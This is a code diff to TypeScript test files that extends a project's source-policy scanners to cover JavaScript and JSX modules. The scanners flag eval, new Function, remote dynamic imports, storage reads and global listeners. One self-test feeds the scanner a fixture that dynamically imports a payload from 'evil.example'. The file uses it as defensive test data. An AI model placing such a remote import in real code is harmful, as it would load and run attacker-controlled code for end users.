a/tests/runtime/policy-q003-url-state-determinism.test.ts b/tests/runtime/policy-q003-url-state-determinism.test.ts index 7665a26..480d44e 100644 --- a/tests/runtime/policy-q003-url-state-determinism.test.ts +++ b/tests/runtime/policy-q003-url-state-determinism.test.ts @@ -14,7 +14,7 @@ import { lineText, parseSource, unwrap, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-Q003 — URL state determinism source scan. @@ -34,7 +34,7 @@ import { // happens to overlap on the host-state subset but is logically // scope-separable. // -// Enforcement: a Vitest source scan over `src/**/*.ts`. The scanner +// Enforcement: a Vitest source scan across source modules under `src/`. The scanner // flags every runtime-value read of: // - `localStorage`, `sessionStorage` (Web Storage) // - `document.cookie` @@ -1384,13 +1384,13 @@ describe('PUL-Q003 — URL state determinism (source scan)', () => { }); describe('runtime tree (current code revision)', () => { - it('scan root `src/` exists and contains at least one .ts file', () => { + it('scan root `src/` exists and contains at least one source module file', () => { expect(statSync(SRC_ROOT).isDirectory()).toBe(true); - expect(walkTsFiles(SRC_ROOT).length).toBeGreaterThan(0); + expect(walkSourceFiles(SRC_ROOT).length).toBeGreaterThan(0); }); - it('contains no Q003 violations across `src/**/*.ts`', () => { - const files = walkTsFiles(SRC_ROOT); + it('contains no Q003 violations across source modules under `src/`', () => { + const files = walkSourceFiles(SRC_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); diff --git a/tests/runtime/policy-q004-resource-cleanup.test.ts b/tests/runtime/policy-q004-resource-cleanup.test.ts index ae46dbc..6148460 100644 --- a/tests/runtime/policy-q004-resource-cleanup.test.ts +++ b/tests/runtime/policy-q004-resource-cleanup.test.ts @@ -14,7 +14,7 @@ import { lineText, parseSource, unwrap, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-Q004 — Resource cleanup completeness (source scan). @@ -112,8 +112,8 @@ import { // seam scenes use for DOM allocation // (`src/scenes/browser-support-fixture.ts`). // -// Scope: `src/scenes/**/*.ts`. The runtime itself -// (`src/runtime/**/*.ts`) uses signal-bound `addEventListener` +// Scope: source modules under `src/scenes/`. The runtime itself +// (source modules under `src/runtime/`) uses signal-bound `addEventListener` // extensively; that is the canonical activation-scope ownership // pattern PUL-Q004 wants scenes to adopt by going through `ctx`. // The runtime is intentionally OUT of scope so its signal-bound @@ -1183,37 +1183,60 @@ describe('PUL-Q004 — resource cleanup completeness (source scan)', () => { describe('scanner self-tests', () => { describe('global listener attach / detach', () => { it.each([ - ['document.addEventListener("click", () => undefined);'], - ['document.removeEventListener("click", handler);'], - ['window.addEventListener("resize", () => undefined);'], - ['window.removeEventListener("resize", handler);'], - ])('flags %s', (source) => { + [ + 'document.addEventListener("click", () => undefined);', + 'global addEventListener (scene attaches listener outside activation scope)', + ], + [ + 'window.addEventListener("resize", () => undefined);', + 'global addEventListener (scene attaches listener outside activation scope)', + ], + ])('flags %s with label %s', (source, expectedLabel) => { const findings = findingsOf(`declare const handler: () => void; ${source}`); - expect(findings.length).toBeGreaterThan(0); - const labels = findings.map((f) => f.label); - expect( - labels.some( - (l) => - l.startsWith('global addEventListener') || l.startsWith('global removeEventListener'), - ), - ).toBe(true); + expect(findings).toHaveLength(1); + expect(findings[0]?.label).toBe(expectedLabel); }); it.each([ - ['globalThis.addEventListener("click", () => undefined);', 'global addEventListener'], - ['window.addEventListener("click", () => undefined);', 'global addEventListener'], - ['self.addEventListener("click", () => undefined);', 'global addEventListener'], - ['global.addEventListener("click", () => undefined);', 'global addEventListener'], - ['globalThis.removeEventListener("click", handler);', 'global removeEventListener'], + [ + 'document.removeEventListener("click", handler);', + 'global removeEventListener (scene removes listener outside activation scope)', + ], + [ + 'window.removeEventListener("resize", handler);', + 'global removeEventListener (scene removes listener outside activation scope)', + ], + ])('flags %s with label %s', (source, expectedLabel) => { + const findings = findingsOf(`declare const handler: () => void; ${source}`); + expect(findings).toHaveLength(1); + expect(findings[0]?.label).toBe(expectedLabel); + }); + + it.each([ + [ + 'globalThis.addEventListener("click", () => undefined);', + 'global addEventListener (scene attaches listener outside activation scope)', + ], + [ + 'window.addEventListener("click", () => undefined);', + 'global addEventListener (scene attaches listener outside activation scope)', + ], + [ + 'self.addEventListener("click", () => undefined);', + 'global addEventListener (scene attaches listener outside activation scope)', + ], + [ + 'global.addEventListener("click", () => undefined);', + 'global addEventListener (scene attaches listener outside activation scope)', + ], + [ + 'globalThis.removeEventListener("click", handler);', + 'global removeEventListener (scene removes listener outside activation scope)', + ], ])('flags wrapper-rooted listener `%s` with label `%s`', (source, expectedLabel) => { - // Label assertion (test-quality review): a regression that - // routed wrapper-rooted listener access through the wrong - // matcher would still flag the line but emit the wrong - // remediation hint; pin the exact prefix per source/label - // pair so the diagnostic contract is structurally enforced. const findings = findingsOf(`declare const handler: () => void; ${source}`); - const labels = findings.map((f) => f.label); - expect(labels.some((l) => l.startsWith(expectedLabel))).toBe(true); + expect(findings).toHaveLength(1); + expect(findings[0]?.label).toBe(expectedLabel); }); it('flags `document["addEventListener"](...)` (string-literal subscript) with the listener label', () => { @@ -2103,13 +2126,13 @@ describe('PUL-Q004 — resource cleanup completeness (source scan)', () => { }); describe('runtime tree (current code revision)', () => { - it('scenes root `src/scenes/` exists and contains at least one .ts file', () => { + it('scenes root `src/scenes/` exists and contains at least one source module file', () => { expect(statSync(SCENES_ROOT).isDirectory()).toBe(true); - expect(walkTsFiles(SCENES_ROOT).length).toBeGreaterThan(0); + expect(walkSourceFiles(SCENES_ROOT).length).toBeGreaterThan(0); }); - it('contains no Q004 violations across `src/scenes/**/*.ts`', () => { - const files = walkTsFiles(SCENES_ROOT); + it('contains no Q004 violations across source modules under `src/scenes/`', () => { + const files = walkSourceFiles(SCENES_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); @@ -2123,7 +2146,7 @@ describe('PUL-Q004 — resource cleanup completeness (source scan)', () => { expect(findings, message).toEqual([]); }); - it('runtime tree `src/runtime/**/*.ts` is OUT of scope by design (signal-bound listeners live there)', () => { + it('runtime source modules under `src/runtime/` are OUT of scope by design (signal-bound listeners live there)', () => { // The runtime owns signal-bound `addEventListener` use across // `audio.ts`, `presenter.ts`, `navigation.ts`, // `scene-loader.ts`, `timeline.ts`, and `audio-unlock-dom.ts`. @@ -2132,7 +2155,7 @@ describe('PUL-Q004 — resource cleanup completeness (source scan)', () => { // require per-line exemptions. const runtimeRoot = join(SRC_ROOT, 'runtime'); expect(statSync(runtimeRoot).isDirectory()).toBe(true); - const sceneFiles = walkTsFiles(SCENES_ROOT); + const sceneFiles = walkSourceFiles(SCENES_ROOT); for (const file of sceneFiles) { expect(file.startsWith(runtimeRoot)).toBe(false); } diff --git a/tests/runtime/policy-q007-remote-code-execution.test.ts b/tests/runtime/policy-q007-remote-code-execution.test.ts index 20e4437..785ff2f 100644 --- a/tests/runtime/policy-q007-remote-code-execution.test.ts +++ b/tests/runtime/policy-q007-remote-code-execution.test.ts @@ -1,10 +1,12 @@ -import { readFileSync, statSync } from 'node:fs'; -import { relative } from 'node:path'; +import { mkdtempSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, relative } from 'node:path'; import * as ts from 'typescript'; import { describe, expect, it } from 'vitest'; import { REPO_ROOT, + SOURCE_POLICY_EXTENSIONS, SRC_ROOT, type SourceFinding, classifyImportSpecifier, @@ -13,10 +15,11 @@ import { isComputedGlobalWrapperAccess, isDynamicImportCall, isInTypePosition, + isSourcePolicyFile, lineText, parseSource, pathResolvesTo, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-Q007 — no remote code execution. @@ -26,10 +29,11 @@ import { // mechanism that would execute code not present in the published // bundle." // -// Enforcement: a Vitest source scan over `src/**/*.ts`. The scanner -// flags every runtime-value reference to `eval` / `Function` and -// every dynamic `import(...)` whose specifier is a remote URL or a -// non-static expression. Type-position references (interface members +// Enforcement: a Vitest source scan over executable source modules +// under `src/`. The scanner flags every runtime-value reference to +// `eval` / `Function` and every dynamic `import(...)` whose specifier +// is a remote URL or a non-static expression. Type-position references +// (interface members // named `eval`, `typeof eval` in a type alias, JSDoc // `{@link import('./mod').T}`) are intentionally NOT flagged — they // are compile-time artifacts and do not execute code at runtime. @@ -173,6 +177,38 @@ function scanQ007(sourceFile: ts.SourceFile): readonly Q007Finding[] { describe('PUL-Q007 — no remote code execution (source scan)', () => { describe('scanner self-tests', () => { + describe('source file inventory', () => { + it('walks every executable source module extension and skips declarations/non-code', () => { + const root = mkdtempSync(join(tmpdir(), 'pulsar-source-policy-')); + try { + for (const ext of SOURCE_POLICY_EXTENSIONS) { + writeFileSync(join(root, `fixture${ext}`), 'export const ok = true;\n'); + } + writeFileSync(join(root, 'fixture.d.ts'), 'export interface TypesOnly {}\n'); + writeFileSync(join(root, 'fixture.css'), '.fixture { color: red; }\n'); + + const found = walkSourceFiles(root) + .map((file) => relative(root, file)) + .sort(); + const expected = SOURCE_POLICY_EXTENSIONS.map((ext) => `fixture${ext}`).sort(); + + expect(found).toEqual(expected); + expect(isSourcePolicyFile(join(root, 'fixture.js'))).toBe(true); + expect(isSourcePolicyFile(join(root, 'fixture.jsx'))).toBe(true); + expect(isSourcePolicyFile(join(root, 'fixture.ts'))).toBe(true); + expect(isSourcePolicyFile(join(root, 'fixture.tsx'))).toBe(true); + expect(isSourcePolicyFile(join(root, 'fixture.mjs'))).toBe(true); + expect(isSourcePolicyFile(join(root, 'fixture.mts'))).toBe(true); + expect(isSourcePolicyFile(join(root, 'fixture.cjs'))).toBe(true); + expect(isSourcePolicyFile(join(root, 'fixture.cts'))).toBe(true); + expect(isSourcePolicyFile(join(root, 'fixture.d.ts'))).toBe(false); + expect(isSourcePolicyFile(join(root, 'fixture.css'))).toBe(false); + } finally { + rmSync(root, { recursive: true, force: true }); + } + }); + }); + describe('direct constructions', () => { it.each([ ['eval (value read)', "eval('1+2');"], @@ -279,6 +315,25 @@ describe('PUL-Q007 — no remote code execution (source scan)', () => { expect(findings).toEqual([]); }); + it('flags eval and non-static dynamic import in a JavaScript source file', () => { + const findings = findingsOf( + "const url = './module.js'; eval('1+2'); import(url);", + 'src/runtime/example.js', + ); + expect(findings.map((f) => f.label)).toEqual([ + 'eval (value read)', + 'dynamic import of non-static specifier', + ]); + }); + + it('flags remote dynamic import after JSX syntax in a JSX source file', () => { + const findings = findingsOf( + 'const element =
; import(\'https://evil.example/payload.js\');', + 'src/scenes/example.jsx', + ); + expect(findings.map((f) => f.label)).toContain('dynamic import of remote URL'); + }); + it('does NOT flag a no-substitution template-literal dynamic import of a local module', () => { // `import(`./module`)` is a NoSubstitutionTemplateLiteral whose // cooked value resolves to a relative path. The classifier @@ -486,13 +541,13 @@ describe('PUL-Q007 — no remote code execution (source scan)', () => { }); describe('runtime tree (current code revision)', () => { - it('scan root `src/` exists and contains at least one .ts file', () => { + it('scan root `src/` exists and contains at least one source module file', () => { expect(statSync(SRC_ROOT).isDirectory()).toBe(true); - expect(walkTsFiles(SRC_ROOT).length).toBeGreaterThan(0); + expect(walkSourceFiles(SRC_ROOT).length).toBeGreaterThan(0); }); - it('contains no Q007 violations across `src/**/*.ts`', () => { - const files = walkTsFiles(SRC_ROOT); + it('contains no Q007 violations across executable source modules under `src/`', () => { + const files = walkSourceFiles(SRC_ROOT); const findings: Q007Finding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); diff --git a/tests/runtime/policy-q008-dom-css-accessibility.test.ts b/tests/runtime/policy-q008-dom-css-accessibility.test.ts index 59a1ce7..8f1a6c7 100644 --- a/tests/runtime/policy-q008-dom-css-accessibility.test.ts +++ b/tests/runtime/policy-q008-dom-css-accessibility.test.ts @@ -11,7 +11,7 @@ import { lineText, parseSource, unwrap, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-Q008 — Accessibility of DOM/CSS scenes (source-policy gate). @@ -34,7 +34,7 @@ import { // Surface families enforced here, parameterised by tables so future // rules add a row without rewriting the walker: // -// 1. Scene-authored attribute writes (`src/scenes/**/*.ts`) — +// 1. Scene-authored attribute writes (source modules under `src/scenes/`) — // `setAttribute(name, value)` calls whose `(name, value)` pair // hits a forbidden row in `FORBIDDEN_SCENE_ATTRS`: // - `tabindex` with a string-literal positive integer @@ -64,7 +64,7 @@ import { // - `el.style.setProperty('user-select', 'none')` and the // vendor-prefixed property names. // -// 3. Scene-authored CSS strings (`src/scenes/**/*.ts`) — +// 3. Scene-authored CSS strings (source modules under `src/scenes/`) — // `FORBIDDEN_SCENE_CSS_DECLARATIONS` matched against a // *normalised* form of every string literal AND every // template-literal head/span. Normalisation collapses runs of @@ -81,7 +81,7 @@ import { // uses the same scanner discipline. // // 4. Runtime-authored attribute removals -// (`src/runtime/**/*.ts` + `src/main.ts`) — +// (source modules under `src/runtime/` + `src/main.ts`) — // `removeAttribute(name)` calls whose `name` is a string-literal // matching `FORBIDDEN_RUNTIME_REMOVAL_NAMES` (per ARIA tree // preservation, clause C3). The runtime owns the stage and may @@ -1197,22 +1197,22 @@ describe('PUL-Q008 — DOM/CSS accessibility (source scan)', () => { }); describe('runtime tree (current code revision)', () => { - it('scenes root `src/scenes/` exists and contains at least one .ts file', () => { + it('scenes root `src/scenes/` exists and contains at least one source module file', () => { expect(statSync(SCENES_ROOT).isDirectory()).toBe(true); - expect(walkTsFiles(SCENES_ROOT).length).toBeGreaterThan(0); + expect(walkSourceFiles(SCENES_ROOT).length).toBeGreaterThan(0); }); - it('runtime root `src/runtime/` exists and contains at least one .ts file', () => { + it('runtime root `src/runtime/` exists and contains at least one source module file', () => { expect(statSync(RUNTIME_ROOT).isDirectory()).toBe(true); - expect(walkTsFiles(RUNTIME_ROOT).length).toBeGreaterThan(0); + expect(walkSourceFiles(RUNTIME_ROOT).length).toBeGreaterThan(0); }); it('`src/main.ts` exists', () => { expect(statSync(MAIN_TS).isFile()).toBe(true); }); - it('contains no Q008 violations across `src/scenes/**/*.ts`', () => { - const files = walkTsFiles(SCENES_ROOT); + it('contains no Q008 violations across source modules under `src/scenes/`', () => { + const files = walkSourceFiles(SCENES_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); @@ -1227,8 +1227,8 @@ describe('PUL-Q008 — DOM/CSS accessibility (source scan)', () => { expect(findings, message).toEqual([]); }); - it('contains no Q008 violations across `src/runtime/**/*.ts`', () => { - const files = walkTsFiles(RUNTIME_ROOT); + it('contains no Q008 violations across source modules under `src/runtime/`', () => { + const files = walkSourceFiles(RUNTIME_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); @@ -1249,7 +1249,7 @@ describe('PUL-Q008 — DOM/CSS accessibility (source scan)', () => { const sf = parseSource(text, rel); const findings = scanRuntimeFile(sf); const header = - 'PUL-Q008 forbids `src/main.ts` from removing accessibility attributes — the workbench bootstrap participates in the same ARIA-preservation contract as `src/runtime/**/*.ts`.'; + 'PUL-Q008 forbids `src/main.ts` from removing accessibility attributes — the workbench bootstrap participates in the same ARIA-preservation contract as source modules under `src/runtime/`.'; const detail = findings.map((f) => ` ${f.file}:${f.line} ${f.label} ${f.text}`).join('\n'); const message = findings.length === 0 ? '' : `${header}\n${detail}`; expect(findings, message).toEqual([]); diff --git a/tests/runtime/source-policy.ts b/tests/runtime/source-policy.ts index 28d7994..8546d09 100644 --- a/tests/runtime/source-policy.ts +++ b/tests/runtime/source-policy.ts @@ -1,12 +1,12 @@ // Shared helpers for the PUL-Q007 / PUL-A001..A006 source-policy gates. // // The seven runtime-policy bans (#46 + #50..#55) share one enforcement -// shape: a Vitest source scan over `src/**/*.ts` that flags forbidden -// constructions (Q007 — `eval`, `new Function`, remote dynamic -// `import()`) or forbidden module specifiers in a given file-scope -// (A001..A004, A006). PUL-A005 is the composition-declarativeness -// check; it reuses the AST helpers below for top-level-statement -// classification but supplies its own decision. +// shape: a Vitest scan over executable source modules under `src/` +// that flags forbidden constructions (Q007 — `eval`, `new Function`, +// remote dynamic `import()`) or forbidden module specifiers in a given +// file scope (A001..A004, A006). PUL-A005 is the +// composition-declarativeness check; it reuses the AST helpers below +// for top-level-statement classification but supplies its own decision. // // This file is the shared seam the preflights authorized: // `docs/design/pul-q007-runtime-code-execution-preflight.md`: @@ -37,14 +37,37 @@ export interface SourceFinding { export const REPO_ROOT = fileURLToPath(new URL('../..', import.meta.url)); export const SRC_ROOT = join(REPO_ROOT, 'src'); +export const SOURCE_POLICY_EXTENSIONS = Object.freeze([ + '.cjs', + '.cts', + '.js', + '.jsx', + '.mjs', + '.mts', + '.ts', + '.tsx', +] as const); /** - * Walk a directory recursively, returning every `.ts` file found. - * Skips dotfiles (e.g., `.DS_Store`, `.gitignore`). Generated trees - * (`coverage/`, `dist/`) live OUTSIDE the scanned root, so they are - * out of scope by construction. + * True when a file is executable source that Vite/esbuild can bundle + * from `src/`. Type declaration files are excluded even though their + * suffixes end in `.ts` / `.mts` / `.cts`; they are not runtime code. */ -export function walkTsFiles(root: string, excludes: readonly string[] = []): string[] { +export function isSourcePolicyFile(filePath: string): boolean { + const lower = filePath.toLowerCase(); + if (lower.endsWith('.d.ts') || lower.endsWith('.d.mts') || lower.endsWith('.d.cts')) { + return false; + } + return SOURCE_POLICY_EXTENSIONS.some((ext) => lower.endsWith(ext)); +} + +/** + * Walk a directory recursively, returning every executable source + * module file found. Skips dotfiles (e.g., `.DS_Store`, `.gitignore`). + * Generated trees (`coverage/`, `dist/`) live OUTSIDE the scanned + * root, so they are out of scope by construction. + */ +export function walkSourceFiles(root: string, excludes: readonly string[] = []): string[] { const isExcluded = (absolutePath: string): boolean => { const rel = relative(REPO_ROOT, absolutePath); return excludes.some((ex) => rel === ex || rel.startsWith(`${ex}/`)); @@ -55,8 +78,8 @@ export function walkTsFiles(root: string, excludes: readonly string[] = []): str const full = join(root, entry); const st = statSync(full); if (st.isDirectory()) { - out.push(...walkTsFiles(full, excludes)); - } else if (st.isFile() && entry.endsWith('.ts')) { + out.push(...walkSourceFiles(full, excludes)); + } else if (st.isFile() && isSourcePolicyFile(full)) { if (!isExcluded(full)) out.push(full); } } @@ -129,7 +152,23 @@ export function lineText(sourceFile: ts.SourceFile, lineIndex0: number): string * position and parent-shape predicates work. */ export function parseSource(text: string, file: string): ts.SourceFile { - return ts.createSourceFile(file, text, ts.ScriptTarget.Latest, /*setParentNodes=*/ true); + return ts.createSourceFile( + file, + text, + ts.ScriptTarget.Latest, + /*setParentNodes=*/ true, + scriptKindForFile(file), + ); +} + +function scriptKindForFile(file: string): ts.ScriptKind { + const lower = file.toLowerCase(); + if (lower.endsWith('.jsx')) return ts.ScriptKind.JSX; + if (lower.endsWith('.tsx')) return ts.ScriptKind.TSX; + if (lower.endsWith('.js') || lower.endsWith('.mjs') || lower.endsWith('.cjs')) { + return ts.ScriptKind.JS; + } + return ts.ScriptKind.TS; } // --- Line-scoped exemption parser -------------------------------------